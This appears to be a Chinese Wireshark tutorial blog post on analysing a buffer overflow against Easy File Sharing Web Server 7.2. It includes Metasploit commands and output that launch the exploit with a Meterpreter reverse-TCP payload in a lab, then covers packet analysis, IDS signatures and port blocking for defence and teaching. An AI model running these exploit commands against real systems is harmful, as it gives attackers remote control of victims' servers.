11. wireshark学习-使用wireshark分析缓冲区溢出漏洞

11. 使用wireshark分析缓冲区溢出漏洞

本文内容:

  • 缓冲区溢出攻击的相关理论;
  • 模拟缓冲区溢出攻击;
  • 使用Wireshark分析缓冲区溢出攻击;
  • 使用Wireshark检测远程控制;
  • Wireshark数据包查找功能

11.1缓冲区溢出攻击的相关理论

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出进行攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,攻击者可以利用它执行非授权指令,甚至可以取得系统特权,进而执行各种操作。考虑到目前大量的应用程序都使用了B/S结构,而这种结构正是使用HTTP协议进行通信的,所以我们首先来了解一下HTTP协议的相关知识。

11.1.1 HTTP的请求与应答

HTTP数据的传输过程也并不复杂,当我们在浏览器(例如火狐)的地址栏中输入了一个地址并按下回车键之后,浏览器会向目标服务器发送一个请求,当服务器收到这个请求之后,就会将一个网页回传给我们的浏览器。

1
这里面的请求和回应都是遵循HTTP协议的,浏览器发送和接送的内容如图所示。图中给出的是将多个数据包组合之后的结果,这其实和我们平时所看到的内容相差不大了,上面方框的部分是请求,下面方框的部分是应答。整个一次通信可以算是一个流,可以使用追踪流的方式来查找一次通信的其他数据包。

2

11.1.2 HTТP 的请求与应答

HTTP协议的内容比较多,包括Request method, host,User-agent等,只介绍其中比较常用的Request method,这个字段常见的值有如下几个:

  • GET请求获取由Request-URI所标识的资源;
  • POST在Request-URI所标识的资源后附加新的数据;
  • PUT请求服务器存储一个资源,并用Request-URI作为其标识
  • DELETE请求服务器删除由Request-URI所标识的资源。

3

host字段,是为了区分同一个ip,同一个端口中的不同网站。

4

过滤器应用:

想看get请求的数据包:
http.request.method=="GET"
5

想看数据包中是否由用户名密码:
http.request.method=="POST",一般用户名密码使用post传输

11.2模拟缓冲区溢出攻击

我们以一个在国外很流行的文件共享软件Easy File Sharing Web Server7.2(可以在网上下载到)作为实例,这个工具通过HTTP协议提供文件共享功能。这里有漏洞的应用程序是简单文件分享Web服务器7.2 (Easy File Sharing Web Server 7.2)

这个软件对用户名长度不进行校验,存在缓冲区溢出。

  1. 在服务器中打开软件

6

  1. 可以在kali中访问到

7

  1. 进行攻击

进入msf,一个漏洞渗透集成框架,有针对各种软件的攻击模块

8

  1. 搜索有没有针对这个软件的攻击模块

9

  1. 使用这个模块,2015年的这个

10

msf5 exploit(windows/http/easyfilesharing_seh) > set payload windows/meterpreter/reverse_tcp //设置选择木马
payload => windows/meterpreter/reverse_tcp

msf5 exploit(windows/http/easyfilesharing_seh) > set lhost 192.168.159.128//设置源地址
lhost => 192.168.159.128

msf5 exploit(windows/http/easyfilesharing_seh) > set rhost 192.168.159.132//目标地址
rhost => 192.168.159.132

msf5 exploit(windows/http/easyfilesharing_seh) > set rport 80//设置目标端口
rport => 80

msf5 exploit(windows/http/easyfilesharing_seh) > exploit 

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.132:80 - 192.168.159.132:80 - Sending exploit...
[+] 192.168.159.132:80 - Exploit Sent
[*] Sending stage (179779 bytes) to 192.168.159.132
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.132:49159) at 2020-02-02 03:42:17 -0500

11

  1. 成功建立连接,接下就可以执行各种命令了

12

11.3分析缓冲区溢出攻击

找到http数据包

分析数据包来计算缓冲区长度
13

追踪流——http流

14

蓝色部分都是实现让缓冲区溢出的字符,后面的是木马
15

复制出去,查看长度

16

11.4 使用Wireshark检测远程控制;

继续看下面的数据包,一般服务器是不允许主动连接的,但出现了个主动连接的包,132是服务器,129是客户机,很反常,如果出现这种数据包可以判断中了木马。

17

18

整个流程是:攻击者启动模块,缓冲区溢出请求中带了一个小马,小马过去执行,打开1070端口,并给客户机发送请求,再发一个大马,接下来就可以通过大马控制服务器了

如果我们知道有漏洞了,还必须得用,怎么办呢?
把特征即加入入侵检测系统特征库中,我们分析它的特征:

  1. get请求
  2. 4061个字符
  3. http1.0结束的

用防火墙可以把来自4444端口的数据包都丢弃了,记不住acl命令,wireshark自带帮助

19

可以选择各个设备
20

但这个只能解一时问题,对方采用端口映射技术就没用了。

11.5数据包查找功能

点击放大镜,就会出现查找的工作栏
21

有四种模式

22
这里的显示过滤器,符合条件的会一个一个找

十六进制:可以查找数据包里的16进制值

23

字符串:可以指定分组范围,数据包里包含的字符串

24

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值